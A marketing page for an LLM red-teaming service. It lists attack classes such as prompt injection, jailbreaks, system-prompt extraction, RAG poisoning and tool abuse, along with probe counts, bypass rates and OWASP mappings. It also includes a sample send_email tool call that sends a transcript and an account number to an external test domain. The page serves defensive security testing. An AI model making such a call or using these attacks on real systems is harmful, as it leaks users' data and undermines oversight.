LLM features fail in two places: in the model’s behavior, and in the harness of prompts, retrieval, tools and permissions you build around it. We test both, combining thousands of automated adversarial probes with expert red teaming, mapped to the OWASP Top 10 for LLM Applications.
| Attack class | Layer | Probes | Bypass rate | OWASP |
|---|---|---|---|---|
| Direct prompt injection | Model | 420 | 3.1% | LLM01 |
| Jailbreaks: role-play, encoding, multi-turn | Model | 380 | 5.8% | LLM01 |
| System prompt extraction | Model | 160 | 12.5% | LLM07 |
| Sensitive information disclosure | Model | 240 | 0.8% | LLM02 |
| Indirect injection via RAG sources | Harness | 310 | 9.4% | LLM01 |
| Tool and function abuse | Harness | 220 | 6.4% | LLM06 |
| Improper output handling (XSS, SQL) | Harness | 120 | 4.2% | LLM05 |
| Cross-tenant retrieval | Harness | 150 | 0.0% | LLM08 |
| Unbounded consumption | Harness | 140 | 1.4% | LLM10 |
send_email({
to: "audit@external-domain.test",
body: "<transcript + account #A-30418>"
})A well-aligned model can still be steered into leaking data or misusing a tool by the content and permissions around it. We test each layer on its own, then together.
We probe the model directly, through your system prompt and safety settings, to find where its behavior can be bent.
We attack the prompts, retrieval, memory, tools and permissions that turn a model into a product, where application-specific risk lives.
Every confirmed exploit lands in the same findings stream as the Attack agent and the scanners, and the Attack agent re-runs the proven injection chain once the fix ships.
Walk through data flows, tools, permissions and trust boundaries to build an AI-specific threat model.
Thousands of automated attacks across every OWASP LLM category, tuned to your domain and system prompt.
Experts chain multi-turn attacks, poison retrieval sources and abuse tools in ways automation can’t.
Every confirmed exploit comes with a fix and becomes a regression test you can run on each release.
Get it tested before launch, then keep the attacks running as a regression suite on every model or prompt change.